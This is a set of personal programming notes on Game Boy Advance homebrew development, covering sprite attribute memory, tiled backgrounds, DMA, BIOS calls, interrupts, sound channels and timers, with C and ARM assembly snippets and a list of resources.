The OAM memory is located at 0x07000000, and can store 1024 bytes. The attributes are divided in attributes (OBJ_ATTR_x) and the different elements in the affine matrix (OAM_AFFINA_Px). In memory, the streams for attributes and the affine matrix are interspersed. This means that we have the three attributes for sprite 0, the PA for affine 0, the next 3 attributes for sprite 1, the PB for affine 0, and so on. This means we have space for 128 OBJ_ATTR and 32 OBJ_AFFINE parameters.

The TONC tutorial access the OAM parameters via aligned structs. Before messing with that, I decided to try using direct access with the following macros. If this ends up being slower I’ll upgrade, but feels like this is simpler than having to deal with structs full of fill holes.

// Using macros instead of aligned structs for setting up OAM attributes and
// affine parameters.
#define OBJ_ATTR_0(N)    *((vu16*)(MEM_OAM + 0 + 8 * (N)))
#define OBJ_ATTR_1(N)    *((vu16*)(MEM_OAM + 2 + 8 * (N)))
#define OBJ_ATTR_2(N)    *((vu16*)(MEM_OAM + 4 + 8 * (N)))
#define OBJ_AFFINE_PA(N) *((vs16*)(MEM_OAM + 6 + 8 * 0 + 8 * 4 * (N)))
#define OBJ_AFFINE_PB(N) *((vs16*)(MEM_OAM + 6 + 8 * 1 + 8 * 4 * (N)))
#define OBJ_AFFINE_PC(N) *((vs16*)(MEM_OAM + 6 + 8 * 2 + 8 * 4 * (N)))
#define OBJ_AFFINE_PD(N) *((vs16*)(MEM_OAM + 6 + 8 * 3 + 8 * 4 * (N)))

The first OBJ_ATTR_0 register sets the y coordinate, type of rendering, blending/effects, color mode and sprite shape.

bits name  description
0-7  Y     Y coordinate. Marks the top of the sprite.
8-9  OM    (Affine) object mode. Use to hide the sprite or govern affine mode.
               00. Normal rendering.
               01. Sprite is an affine sprite, using affine matrix specified by attr1{9-D}
               10. Disables rendering (hides the sprite)
               11. Affine sprite using double rendering area. See affine sprites for more.
A-B GM     Gfx mode. Flags for special effects.
               00. Normal rendering.
               01. Enables alpha blending. Covered here.
               10. Object is part of the object window. The sprite itself isn't rendered, but serves as a mask for bgs and other sprites. (I think, haven't used it yet)
               11. Forbidden.
C   Mos   Enables mosaic effect. Covered here.
D   CM    Color mode. 16 colors (4bpp) if cleared; 256 colors (8bpp) if set.
E-F Sh    Sprite shape. This and the sprite's size (attr1{E-F}) determines the sprite's real size.

The first OBJ_ATTR_1 register sets the x coordinate, horizontal/vertical flipping and together with OBJ_ATTR_0 adjust the size of the sprite.

bits  name    description
0-8   X       X coordinate. Marks left of the sprite.
9-D   AID     Affine index. Specifies the OAM_AFF_ENTY this sprite uses. Valid only if the affine flag (attr0{8}) is set.
C-D   HF, VF  Horizontal/vertical flipping flags. Used only if the affine flag (attr0) is clear; otherwise they're part of the affine index.
E-F   Sz      Sprite size. Kinda. Together with the shape bits (attr0{E-F}) these determine the sprite's real size.

Here is an additional table showing the different size configurations.

shape/size  00    01     10     11
00          8x8   16x16  32x32  64x64
01          16x8  32x8   32x16  64x32
10          8x16  8x32   16x32  32x64

Finally, OBJ_ATTR_2 sets the base tile index, Z priority and palette bank when in 16-bit mode.

bits  name  description
0-9   TID   Base tile-index of sprite. Note that in bitmap modes this must be 512 or higher.
A-B   Pr    Priority. Higher priorities are drawn first (and therefore can be covered by later sprites and backgrounds). Sprites cover backgrounds of the same priority, and for sprites of the same priority, the higher OBJ_ATTRs are drawn first.
C-F   PB    Palette-bank to use when in 16-color mode. Has no effect if the color mode flag (attr0{C}) is set.

Source: https://www.coranac.com/tonc/text/regobj.htm

Since the OAM can’t be modified during the VDraw period, it is probably better to have a buffer where we update the attributes and affine parameters and copy it during the VBlank to MEM_OEM. This is probably why the TONC tutorial uses structs instead of macros for setting OBJ parameters:

OBJ_ATTR obj_buffer[128];
OBJ_AFFINE *const obj_aff_buffer= (OBJ_AFFINE*)obj_buffer;

We probably want to hide all sprites on initialization, otherwise they will be rendered at (0, 0) with the same color/tile than the zeroth tile.

Tiled backgrounds

We have 4 backgrounds available that can be individually configured. Their size go from 128x128 to 1024x1024 and operate on 8x8 tiles. The tilemaps are used to index the tiles to display. The tiles and tilemaps are stored in the VRAM, which is divided in charblocks and screenblocks, which overlap in memory. For example, at memory 0x06000000 is the first charblock and/or up to 8 screenblocks (0-7). Each screenblock is 2048 bytes long, and we can configure which ones to use via registers. It is our responsability to avoid overwriting charblock and screenblock memory. This is the overview for using tilemaps:

1. Load graphics (tiles into charblocks and palette in palette memory).
2. Load a map in one or more screenblocks.
3. Set DISP_CTRL to a tiled mode and enable the desired background.
4. Set background attributes with the register.

Depending on the mode, backgrounds can be used directly or as affine backgrouds:

mode  BG0  BG1  BG2  BG3
0     reg  reg  reg  reg
1     reg  reg  aff  -
2     -    -    aff  aff

There are 3 register for each background layer. BG_CTRL_x is the primary register, located at 0x04000008 + 2 * x (where x goes from 0 to 3) and is used to set background parameters.

bits  name  description
0-1   Pr    Priority. Determines drawing order of backgrounds.
2-3   CBB   Character Base Block. Sets the charblock that serves as the base for character/tile indexing. Values: 0-3.
6     Mos   Mosaic flag. Enables mosaic effect.
7     CM    Color Mode. 16 colors (4bpp) if cleared; 256 colors (8bpp) if set.
8-C   SBB   Screen Base Block. Sets the screenblock that serves as the base for screen-entry/map indexing. Values: 0-31.
D     Wr    Affine Wrapping flag. If set, affine background wrap around at their edges. Has no effect on regular backgrounds as they wrap around by default.
E-F   Sz    Background Size. Regular and affine backgrounds have different sizes available to them.

The size bits effect depends on the type of background (regular or affine):

Regular:

Sz-flag  (tiles)  (pixels)
00       32x32    256x256
01       64x32    512x256
10       32x64    256x512
11       64x64    512x512

Affine:

Sz-flag  (tiles)  (pixels)
00       16x16    128x128
01       32x32    256x256
10       64x64    512x512
11       128x128  1024x1024

The write-only registers BG_H_SCROLL_x and BG_V_SCROLL_x located at 0x04000010 + 4 * x and 0x04000012 + 4 * x respectively can be used to control the horizontal and vertical displacement. They wrap around, thus they act as the modulo of the map size. These registers set the top left position of the screen from the top left position of the map. Furthermore to scroll the map left we would increase the H displacement and vice versa.

The screenblocks data is composed of a number of entries corresponding with each tile in the screen. Each screenblock entry also contains h/v flip information as well as the palette bank to use in 4bpp mode:

bits  name    description
0-9   TID     Tile-index of the SE.
A-B   HF, VF  Horizontal/vertical flipping flags.
C-F   PB      Palette bank to use when in 16-color mode. Has no effect for 256-color bgs (REG_BGxCNT{6} is set).

Each screenblock can have 32x32 screen entries (equivalent to a 256x256 pixel map). For larger map sizes multiple screenblocks will be used, and depending on the size they will be nested in the following way (starting at screenblock index 0):

32x32  64x32  32x64  64x64
  0     0 1     0     0 1
                1     2 3

To find the screenblock index for a given tile x and tile y position we can use the following function:

size_t se_index(size_t tile_x, size_t tile_y, size_t map_width) {
    size_t sbb = ((tile_x >> 5) + (tile_y >> 5) * (map_width >> 5));
    return sbb * 1024 + ((tile_x & 31) + (tile_y & 31) * 32);
}

Source: https://www.coranac.com/tonc/text/regbg.htm

Bit packing

To save memory and speed up loading assets like sprites or background tiles we can use bitpacking, which will group the data into u32 in an efficient way. Particularly useful for 1bpp assets like fonts or simple interface elements, since we can store an 8x8 tile into two u32 words. We need to bear in mind that because of the little endian nature of the GBA, we need to pack the bits in both little bit and little byte order.

Here is a custom (probably slow) bit unpacking routine that can be used for unpacking 1bpp tiles:

u32
unpack_1bb(u8 hex) {
    const u32 conversion_u32[16] = {
        0x00000000, 0x00000001, 0x00000010, 0x00000011,
        0x00000100, 0x00000101, 0x00000110, 0x00000111,
        0x00001000, 0x00001001, 0x00001010, 0x00001011,
        0x00001100, 0x00001101, 0x00001110, 0x00001111,
    };
    u8 low = hex & 0xF;
    u8 high = (hex >> 4) & 0xF;
    return (conversion_u32[high] << 16) | conversion_u32[low];
}

It takes an 8bit hex value to generate an unpacked u32 so it will need to be called in the following way to unpack each row:

// Unpack a single tile from memory.
size_t counter = 0;
u32 a = data[i++];
u32 b = data[i++];
tile_mem[counter++] = unpack_1bb((a >> 24) & 0xFF);
tile_mem[counter++] = unpack_1bb((a >> 16) & 0xFF);
tile_mem[counter++] = unpack_1bb((a >> 8) & 0xFF);
tile_mem[counter++] = unpack_1bb((a & 0xFF);
tile_mem[counter++] = unpack_1bb((b >> 24) & 0xFF);
tile_mem[counter++] = unpack_1bb((b >> 16) & 0xFF);
tile_mem[counter++] = unpack_1bb((b >> 8) & 0xFF);
tile_mem[counter++] = unpack_1bb((b & 0xFF);

Apparently we can also use a BIOS function called BitUnpack for this purpose but I have yet to test it.

Input handling

The GBA has access to 10 buttons/keys. We can see which inputs are being used by reading the KEY_INPUTS register at 0x04000130 bits 0-9. The bits are active when they have a zero value, so a value of 1 means that the button/key is unpressed.

// Memory address for key input register
#define KEY_INPUTS  *((vu16*) 0x04000130)

// Alias for key pressing bits.
#define KEY_A      (1 << 0)
#define KEY_B      (1 << 1)
#define KEY_SELECT (1 << 2)
#define KEY_START  (1 << 3)
#define KEY_RIGHT  (1 << 4)
#define KEY_LEFT   (1 << 5)
#define KEY_UP     (1 << 6)
#define KEY_DOWN   (1 << 7)
#define KEY_R      (1 << 8)
#define KEY_L      (1 << 9)

// Check if the given key/button is currently pressed.
#define KEY_PRESSED(key) (~(KEY_INPUTS) & key)

We also have access to a different register, the KEY_CTRL. This register can be used for setting and controlling interrupts that will be triggered by button presses:

bits  name   description
0-9   keys   keys to check for raising a key interrupt.
E     I      Enables keypad interrupt
F     Op     Boolean operator used for determining whether to raise a key- interrupt or not. If clear, it uses an OR (raise if any of the keys of bits 0-9 are down); if set, it uses an AND (raise if all of those keys are down).

Direct Memory Access (DMA)

We can use DMA to copy data quickly in our application by taking advantage of the existing hardware for that purpose. When the DMA controller is active, the CPU is halted until the transfer is finished. There are 4 DMA channels of decreasing priority. Channel 0 has the highest priority, used with the internal RAM exclusively. Channels 1 and 2 are used for audio to copy data to sound buffers. Channel 3 has the lowest priority and can be used for general purpose memory copies.

We can control the DMA with 3 u32 registers. For channel N, we will put the source and destination addresses in DMA_SRC(N) (0x040000B0 + 12 * N) and DMA_DST(N) (0x040000B4 + 12 * N) respectively. We can set the parameters of the DMA channel with DMA_CTRL(N) (0x040000B8 + 12 * N):

bits   name  description
00-0F  N     Number of transfers (Number of CHUNKS, not bytes!).
15-16  DA    Destination adjustment.
                00: increment after each transfer (default)
                01: decrement after each transfer
                10: none; address is fixed
                11: increment the destination during the transfer, and reset it so that repeat DMA will always start at the same destination.
17-18  SA    Source Adjustment. Works just like the two bits for the destination. Note that there is no DMA_SRC_RESET; code 3 for source is forbidden.
19     R     Repeats the copy at each VBlank or HBlank if the DMA timing has been set to those modes.
1A     CS    Chunk Size. Sets DMA to copy by halfword (if clear) or word (if set).
1C-1D  TM    Timing Mode. Specifies when the transfer should start.
                00: start immediately.
                01: start at VBlank.
                10: start at HBlank.
                11: Never used it so far, but here's how I gather it works. For DMA1 and DMA2 it'll refill the FIFO when it has been emptied. Count and size are forced to 1 and 32bit, respectively. For DMA3 it will start the copy at the start of each rendering line, but with a 2 scanline delay.
1E     I     Interrupt request. Raise an interrupt when finished.
1F     En    Enable the DMA transfer for this channel.

Note that we can’t write to the ROM, for obvious reasons, and we can’t access addresses above 0x10000000, so we can only use 28 bits for DMA_SRC and 27 for DMA_DST.

If we are performing several copies using the same DMA register, we may want to stop the previous transfer before starting the new one:

DMA_CTRL(N) = 0;
DMA_SRC(N) = src_addr;
DMA_DST(N) = dst_addr;
DMA_CTRL(N) = count | attrs;

Source: https://www.coranac.com/tonc/text/dma.htm

It is important to note that the DMA is a separate piece of hardware, and we need to be careful about the scope of the variables we send to it. For example, the following will not work if called from a function:

void
init_sprite_pal(size_t starting_index, Color col) {
    Color colors[16] = {
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
    };

    dma_copy(&PAL_BUFFER_SPRITES[starting_index], colors, 16 * sizeof(Color), 3);
}

Instead, we need to make the colors array static/global so that the address doesn’t go out of scope or use an address from the main function scope:

void
init_sprite_pal(size_t starting_index, Color col) {
    static Color colors[16] = {
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
    };

    dma_copy(&PAL_BUFFER_SPRITES[starting_index], colors, 16 * sizeof(Color), 3);
}

Very important to note that we MUST wait 2 cycles after enabling a DMA transfer, otherwise there will be errors. This should normally not be an issue, but if you are performing two dma calls in quick succession you may stumble over it. Make sure you stall the CPU if you can.

// Copy N number of bytes using a DMA channel.
inline void
dma_copy(void *dst, const void *src, u32 size, int channel) {
    dma_transfer_copy(dst, src, size / 4, channel, DMA_CHUNK_32 | DMA_ENABLE);
    // Stall for 2 cycles in case we call this function more than once in a row.
    asm("nop"); asm("nop");
}

BIOS Calls

Bios calls work by means of software interrups. The GBA BIOS has 42 avaiable interrupts for a variety of purposes. To call software interrupts, we need to make use of the swi N assembly instruction. This is a list of all available interrupts:

id    Name
0x00  SoftReset
0x01  RegisterRamReset
0x02  Halt
0x03  Stop
0x04  IntrWait
0x05  VBlankIntrWait
0x06  Div
0x07  DivArm
0x08  Sqrt
0x09  ArcTan
0x0A  ArcTan2
0x0B  CPUSet
0x0C  CPUFastSet
0x0D  BiosChecksum
0x0E  BgAffineSet
0x0F  ObjAffineSet
0x10  BitUnPack
0x11  LZ77UnCompWRAM
0x12  LZ77UnCompVRAM
0x13  HuffUnComp
0x14  RLUnCompWRAM
0x15  RLUnCompVRAM
0x16  Diff8bitUnFilterWRAM
0x17  Diff8bitUnFilterVRAM
0x18  Diff16bitUnFilter
0x19  SoundBiasChange
0x1A  SoundDriverInit
0x1B  SoundDriverMode
0x1C  SoundDriverMain
0x1D  SoundDriverVSync
0x1E  SoundChannelClear
0x1F  MIDIKey2Freq
0x20  MusicPlayerOpen
0x21  MusicPlayerStart
0x22  MusicPlayerStop
0x23  MusicPlayerContinue
0x24  MusicPlayerFadeOut
0x25  MultiBoot
0x26  HardReset
0x27  CustomHalt
0x28  SoundDriverVSyncOff
0x29  SoundDriverVSyncOn
0x2A  GetJumpList

Detailed information about what these functions do can be found on the gbatek reference.

To use these BIOS functions we need the following directives written in assembly:

0. Where to put the code (e.g. .text) and what type of code (.code 16 for THUMB instructions).
1. Word alignment. We can either align to words (.align 2) or half-words (.balign 4). These only work for the function, and must be set for each one of them.
2. Scope. We normally will want these things to be on the global scope. For example, .global foobar will create a function that we can call from C with void foobar(args).
3. Thumb indicator. Despite having .code 16 we also must specify .thumb_func.
4. Label. Indicates where the function starts.
5. BIOS call with the swi instruction (For example swi 0x06 for the division function call).
6. Return to the caller with the bx lr function call.

Here is the full example from the TONC tutorial for a division BIOS call:

@ In tonc_bios.s

@ at top of your file
    .text           @ aka .section .text
    .code 16        @ aka .thumb

@ for each swi (like division, for example)
    .align 2        @ aka .balign 4
    .global Div
    .thumb_func
Div:
    swi     0x06
    bx      lr

It seems that using inline assembly with asm volatile("swi 0x06") doesn’t work anymore. For this reason, the assembly code should be fully compiled separately and linked afterwards.

Interrupts

There are three interrupt registers, the master interrupt control register IRQ_CTRL (0x04000208), the interrupt enable register IRQ_ENABLE (0x04000200) and the IRQ_ACK (0x04000202) used for checking if an interrupt has occurred and acknowledge that is being handled.

The IRQ_CTRL control register must be set to 1 to enable interrupts, otherwise they will be ignored. In addition to enabling specific interrupts with IRQ_ENABLE we will likely need to enable other bits in the appropriate registers. For example the IRQ_VBLANK interrupt also needs bit 0x3 of DISP_STATUS to be also set. Here is the table for both IRQ_ENABLE and IRQ_ACK with corresponding requirements, adapted from TONC:

bits  name  description
0     Vbl   VBlank interrupt. Also requires DISP_STATUS{3}
1     Hbl   HBlank interrupt. Also requires DISP_STATUS{4} Occurs after the HDraw, so that things done here take effect in the next line.
2     Vct   VCount interrupt. Also requires DISP_STATUS{5}. The high byte of DISP_STATUS gives the VCount at which to raise the interrupt. Occurs at the beginning of a scanline.
3-6   Tm    Timer interrupt, 1 bit per timer. Also requires TIMER_CTRL_x{6}. The interrupt will be raised when the timer overflows.
7     Com   Serial communication interrupt. Apparently, also requires REG_SCCNT{E}. To be raised when the transfer is complete. Or so I'm told, I really don't know squat about serial communication.
8-B   Dma   DMA interrupt, 1 bit per channel. Also requires DMA_CTRL(N){1E}. Interrupt will be raised when the full transfer is complete.
C     K     Keypad interrupt. Also requires KEY_CTRL{E}. Raised when any or all or the keys specified in KEY_CTRL are down.
D     C     Cartridge interrupt. Raised when the cart is removed from the GBA.

Source: https://www.coranac.com/tonc/text/interrupts.htm

To acknowledge that we are handling an interrupt, we need to write a bit on said interrupt in IRQ_ACK, even if the bit is already set. This register is used for checking if an interrupt has been raised and clearing it in the aforementioned way. Note that we should only set the bit we are interested in, so we must do: IRQ_ACK = IRQ_x not IRQ_ACK |= IRQ_x, since the latter will set and clear all of the bits for the interrupts that are active. Note that if we use BIOS routines that use interrupts, we also need to acknowledge those in the IRQ_ACK_BIOS (0x03007FF8), which follows the same bit structure as IRQ_ACK.

Unfortunately, the interrupt process is not very friendly from the C point of view. In principle when an interrupt is triggered, the BIOS will jump to 0x03007FFC, so we could theoretically have a function pointer to that location to handle the interrupts from there. However, we need to run that function in ARM mode instead of THUMB. We also have to switch the CPU to interrupt mode from system and back as well as saving the necessary registers, which can only be done in assembly. From our point of view we should:

1. Disable IRQs to avoid nesting and unpleasant complexity.
2. Switch from IRQ to SYSTEM execution mode, for which we need to store the current stack pointer, r0-r3, ip and lr registers first.
3. Run the interrupt service routine (ISR) for the interrupt.
4. Return from SYSTEM to IRQ execution modes.
5. Restore the saved registers.
6. Acknowledge that the interruption has been dealt with.
7. Re-enable interrupts.

This is quite complicated to address, but with a bit of elbow grease I managed to create my own version of an interrupt handler. It uses this table to store function pointers to the different interrupt types.

IrsFunc irs_table[] = {
    [IRQ_VBLANK ] = NULL,
    [IRQ_HBLANK ] = NULL,
    [IRQ_VCOUNT ] = NULL,
    [IRQ_TIMER_0] = NULL,
    [IRQ_TIMER_1] = NULL,
    [IRQ_TIMER_2] = NULL,
    [IRQ_TIMER_3] = NULL,
    [IRQ_SERIAL ] = NULL,
    [IRQ_DMA_0  ] = NULL,
    [IRQ_DMA_1  ] = NULL,
    [IRQ_DMA_2  ] = NULL,
    [IRQ_DMA_3  ] = NULL,
    [IRQ_KEYPAD ] = NULL,
    [IRQ_GAMEPAK] = NULL,
};

Interrupts are enabled with the irq_init() function. The function irs_set(IrqIndex ids, IrsFunc func) can be used to enable all required bits in the different registers for each interrupt. If the function pointer is set to NULL, the interrupt will be disabled instead. To be able to use certain interrupts that don’t require explicit handling (Such as the BIOS VSync) a stub can be passed instead:

irq_init();
irs_set(IRQ_VBLANK, irs_stub);
irs_set(IRQ_HBLANK, irs_hblank_func);

A custom irs_main function was written in ARM assembly to handle all different interrupts and acknowledgements.

Sound

Sound on the GBA can be quite a hairy process, and there are a ton of registers to address. Here is a modified table with the nomenclature of different registers to which I added my preferred naming scheme, since I don’t mind a bit more verbosity in exchange of readability:

offset  function                         old          new           tonc           mine
60h     channel 1 (sqr) sweep            REG_SG10     SOUND1CNT_L   REG_SND1SWEEP  SOUND_SQUARE1_SWEEP
62h     channel 1 (sqr) len, duty, env   REG_SG10     SOUND1CNT_H   REG_SND1CNT    SOUND_SQUARE1_CTRL
64h     channel 1 (sqr) freq, on         REG_SG11     SOUND1CNT_X   REG_SND1FREQ   SOUND_SQUARE1_FREQ
68h     channel 2 (sqr) len, duty, env   REG_SG20     SOUND2CNT_L   REG_SND2CNT    SOUND_SQUARE2_CTRL
6Ch     channel 2 (sqr) freq, on         REG_SG21     SOUND2CNT_H   REG_SND1FREQ   SOUND_SQUARE2_FREQ
70h     channel 3 (wave) mode            REG_SG30     SOUND3CNT_L   REG_SND3SEL    SOUND_WAVE_MODE
72h     channel 3 (wave) len, vol        REG_SG30     SOUND3CNT_H   REG_SND3CNT    SOUND_WAVE_CTRL
74h     channel 3 (wave) freq, on        REG_SG31     SOUND3CNT_X   REG_SND3FREQ   SOUND_WAVE_FREQ
78h     channel 4 (noise) len, vol, env  REG_SG40     SOUND4CNT_L   REG_SND4CNT    SOUND_NOISE_CTRL
7Ch     channel 4 (noise) freq, on       REG_SG41     SOUND4CNT_H   REG_SND4FREQ   SOUND_NOISE_FREQ
80h     DMG master control               REG_SGCNT0   SOUNDCNT_L    REG_SNDDMGCNT  SOUND_DMG_MASTER
82h     DSound master control            REG_SGCNT0   SOUNDCNT_H    REG_SNDDSCNT   SOUND_DSOUND_MASTER
84h     sound status                     REG_SGCNT1   SOUNDCNT_X    REG_SNDSTAT    SOUND_STATUS
88h     bias control                     REG_SGBIAS   SOUNDBIAS     REG_SNDBIAS    SOUND_BIAS

Source: https://www.coranac.com/tonc/text/sndsqr.htm

To get sound out we have to configure the main sound control registers SOUND_DMG_MASTER (0x04000080), SOUND_DSOUND_MASTER (0x04000082) and SOUND_STATUS (0x04000084).

The SOUND_DMG_MASTER controls DMG left and right volumes as well as the channels enabled.

bits  name   description
0-2   LV     Left volume
4-6   RV     Right volume
8-B   L1-L4  Channels 1-4 on left
C-F   R1-R4  Channels 1-4 on right

The SOUND_DSOUND_MASTER controls direct sound channels, and how to mix it with the DMG ones.

bits  name            description
0-1   DMGV            DMG Volume ratio.
                          00: 25%
                          01: 50%
                          10: 100%
                          11: forbidden
2     AV              DSound A volume ratio. 50% if clear; 100% of set
3     BV              DSound B volume ratio. 50% if clear; 100% of set
8-9   AR, AL          DSound A enable Enable DS A on right and left speakers
A     AT              Dsound A timer. Use timer 0 (if clear) or 1 (if set) for DS A
B     AF              FIFO reset for Dsound A. When using DMA for Direct sound, this will cause DMA to reset the FIFO buffer after it's used.
C-F   BR, BL, BT, BF  As bits 8-B, but for DSound B

Finally, the SOUND_STATUS lower 4 bits can be used to read which DMG channel is currently playing (read) and we need to set bit 7 if we want to output any kind of sound. Sound must be enabled before we can interact with any of the other registers.

bits  name   description
0-3   1A-4A  Active channels. Indicates which DMA channels are currently playing. They do not enable the channels; that's what REG_SNDDMGCNT is for.
7     MSE    Master Sound Enable. Must be set if any sound is to be heard at all. Set this before you do anything else: the other registers can't be accessed otherwise, see GBATek for details.

Square wave (Channels 1-2)

Both DMG square channels are controlled in the same way, but the first channel has access to a frequency sweep. The SOUND_SQUAREx_CTRL registers adjusts the length, envelope (Attack-Sustain-Decay or ASD) and duty cycle of the signal. Note that the frequency set in SOUND_SQUAREx_FREQ is not set in Hertz (Hz), but instead, it is the “rate” of the signal. The rate goes from 0 to 2047 and can be calculated with the following formula: rate = 2048 - 2^17 / freq. This means that we can achieve frequencies between 64 Hz and 131 kHz. Here is the table describing the control registers for square DMG channels:

bits  name  description
0-5   L     Sound Length. This is a write-only field and only works if the channel is timed (REG_SNDxFREQ{E}). The length itself is actually (64−L)/256 seconds for a [3.9, 250] ms range.
6-7   D     Wave duty cycle. Ratio between on and of times of the square wave. Looking back at eq 18.2, this comes down to D=h/T. The available cycles are 12.5%, 25%, 50%, and 75% (one eighth, quarter, half and three quarters).
8-A   EST   Envelope step-time. Time between envelope changes: Δt = EST/64 s.
B     ED    Envelope direction. Indicates if the envelope decreases (default) or increases with each step.
C-F   EIV   Envelope initial value. Can be considered a volume setting of sorts: 0 is silent and 15 is full volume. Combined with the direction, you can have fade-in and fade-outs; to have a sustaining sound, set initial volume to 15 and an increasing direction. To vary the real volume, remember REG_SNDDMGCNT.

The frequency is set as follows:

bits  name  description
0-A   R     Sound rate. Well, initial rate. That's rate, not frequency. Nor period. The relation between rate and frequency is f = 217/(2048-R). Write-only field.
E     T     Timed flag. If set, the sound plays for as long as the length field (REG_SNDxCNT{0-5}) indicates. If clear, the sound plays forever. Note that even if a decaying envelope has reached 0, the sound itself would still be considered on, even if it's silent.
F     Re    Sound reset. Resets the sound to the initial volume (and sweep) settings. Remember that the rate field is in this register as well and due to its write-only nature a simple ‘|= SFREQ_RESET’ will not suffice (even though it might on emulators).

The sweep register:

bits  name  description
0-2   N     Sweep number. Not the number of sweeps; see the discussion below.
3     M     Sweep mode. The sweep can take the rate either up (default) or down (if set).
4-6   T     Sweep step-time. The time between sweeps is measured in 128 Hz (not kHz!): Δt = T/128 ms ≈ 7.8T ms; if T=0, the sweep is disabled.

Wave (Channel 3)

Sound channel 3 can play samples from a 64 sample pattern or two different 32 sample patterns, depending on the configuration of SOUND_WAVE_MODE:

bits  name  description
5     BM    Bank mode (0 = 2x32, 1 = 1x64)
6     BS    Bank select. Two banks are available if BM is set to 0. This also
            control the writing mode of each bank. BS is set to 0, bank 0 will
            play, and we can then write to the bank 1 wave RAM and viceversa.
7     E     Enable the output for wave mode.

The other wave control register is the SOUND_WAVE_CTRL register, which can be used to control the sound length and output volume.

bits  name  description
0-7   SL    Sound length according to formula REG = len_in_seconds * 256 for
            a 1 second maximum and 3.9 ms minimum.
D-F   V     Output level (0x0 = 0%, 0x1 = 100%, 0x4 = 75%, 0x2 = 50%, 0x3 = 25%).

DirectSound

DirectSound give us access to the 2 8bit DACs on the GBA. It plays 8bit signed PCM samples from a FIFO queue starting at 0x40000A0. It requires the use of timers 0 and/or 1 to control the sampling frequency and can work in DMA or interrupt mode. DMA is more efficient but may cause some issues in multiplayer games. In DMA mode, the sample queues will be filled by the DMA controller automatically. In interrupt mode, an interrupt will be used to manually load samples into the queue. Both DirectSound channels can use the same timer, which is normally desired for audio mixing. We should always reset the FIFO with the SOUND_DSOUND_MASTER register (0x04000082) before starting a new sample playback.

To play samples in DMA mode:

1. Set DirectSound output/volume
2. Set one timer to 0xFFFF - round(cpu_frequency/sample_frequency). For a 16KHz sample cpu_frequency = 2^24 and sample_frequency = 16000.
3. Set another timer to count played samples and stop the sound when overflow. For example, if timer 0 is used for playing the samples, timer 1 can be set to cascade mode and enable IRQ on timer 1 when count is 0xFFFF- sample_count.
4. Point the DMA channel source to the sample memory address and the destination to the desired FIFO queue.
5. Set DMA start to repeat mode (11) so that the FIFO is refilled when empty.
6. Set DMA repeat and 32 bit mode and set increment mode for destination and source.
7. Enable timer.

Source: http://belogic.com/gba/

Timers

In addition to using the VBlank as a timer, the GBA have access to 4 clock timers. These timers are based on the CPU frequency (16.78 MHz), in which one clock cycle takes 59.6 ns. We can configure the timers in 4 different intervals, using 1, 64, 256 or 1024 cycles. Mixing and matching these timers we can create a wide variety of frequencies. Two registers are used for each of the 4 timers, TIMER_DATA_x starting at memory 0x04000100 used for accessing the timer output, and TIMER_CTRL_x, starting at 0x04000102, used for configuring the timers. Each of these stores a u16 and to access the timer number x we need to add 0x4 * x to those base addresses:

#define TIMER_DATA_0  0x04000100 + 0x04 * 0
#define TIMER_DATA_1  0x04000100 + 0x04 * 1
#define TIMER_DATA_2  0x04000100 + 0x04 * 2
#define TIMER_DATA_3  0x04000100 + 0x04 * 3
#define TIMER_CTRL_0  0x04000102 + 0x04 * 0
#define TIMER_CTRL_1  0x04000102 + 0x04 * 1
#define TIMER_CTRL_2  0x04000102 + 0x04 * 2
#define TIMER_CTRL_3  0x04000102 + 0x04 * 3

TIMER_CTRL_x uses only the lower 7 bits, despite being stored as u16. Here is the reference table:

bits  name  description
0-1   Fr    Timer frequency. 0-3 for 1, 64, 256, or 1024 cycles, respectively. y in the define is the number of cycles.
2     CM    Cascade mode. When the counter of the preceding (x−1) timer overflows (REG_TM(x-1)D= 0xffff), this one will be incremented too. A timer that has this bit set does not count on its own, though you still have to enable it. Obviously, this won't work for timer 0. If you plan on using it make sure you understand exactly what I just said; this place is a death-trap for the unwary.
6     I     Raise an interrupt on overflow.
7     En    Enable the timer.

Source: https://www.coranac.com/tonc/text/timers.htm

When reading the u16 value from TIMER_DATA_x we obtain the current value for the counter, but if we write to that address, the timer will not be reset to that value, rather it will set the initial value that the timer will contain when being enabled or overflowing. Since everytime that a timer is enabled it will reset to the value set in TIMER_DATA_x, if we want to pause and then resume all the timers, we can enable cascade mode instead and then disable it when resuming.

Using timers we can create a simple profiling function that counts the number of cycles between the profile_start() and profile_end() function calls.

// We use timers 2 and 3 to count the number of cycles since the profile_start
// functions is called. Don't use if the code we are trying to profile make use
// of these timers.
static inline
void profile_start() {
    TIMER_DATA_2 = 0;
    TIMER_DATA_3 = 0;
    TIMER_CTRL_2 = 0;
    TIMER_CTRL_3 = 0;
    TIMER_CTRL_3 = TIMER_CTRL_ENABLE | TIMER_CTRL_CASCADE;
    TIMER_CTRL_2 = TIMER_CTRL_ENABLE;
}

static inline
u32 profile_stop() {
   TIMER_CTRL_2 = 0;
   return (TIMER_DATA_3 << 16) | TIMER_DATA_2;
}

Resources

• gbadev
• GBATEK
• devkitPro
• Introduction to Tonc
• CowBite Virtual Hardware Specifications (GBA)
• Headspin’s guide to compression, FS, screen effects for the GBA
• The audio advance - GBA sound resources
• Sound mixing, sound on the GBA by Deku’s tree
• Audio Programming on the GameBoy Advance Part 1
• Binary to decimal conversion with limited precision
• TONC: Fixed point math
• Bit tricks for fast C programming on the GBA
• Game Boy Advance Architecture: A practical analysis
• gbadev.org FAQ
• Arduinoboy: Serial MIDI communication with the GB
• GBA link cable to UART USB
• Analyzing the different versions of the link cable
• How to build a MIDI clock to GB sync thing for around AU$15
• Making the Gameboy Link Cable Wireless
• GBA Resource Management
• Programación de la Game Boy Advance (No devkitPro)
• AAS: An efficient audio library for the GBA

Hardware mods

• Giving the GameBoy Advance SP a headphone jack 17 years later
• Building a Headphone Jack into a Game Boy Advance SP
• Hackaday: GBA SP headphone jack mod
• Makho’s Backlight Mod Notes

Bootlegs, cartridges and schematics

• Bootleg carts
• GBA service manual
• GBA Rom Dumper
• Reinerziegler GBA carts
• GBA cart schematic
• GBA Rom Dumper (Arduino Uno)
• Arduino Based GBA ROM Dumper
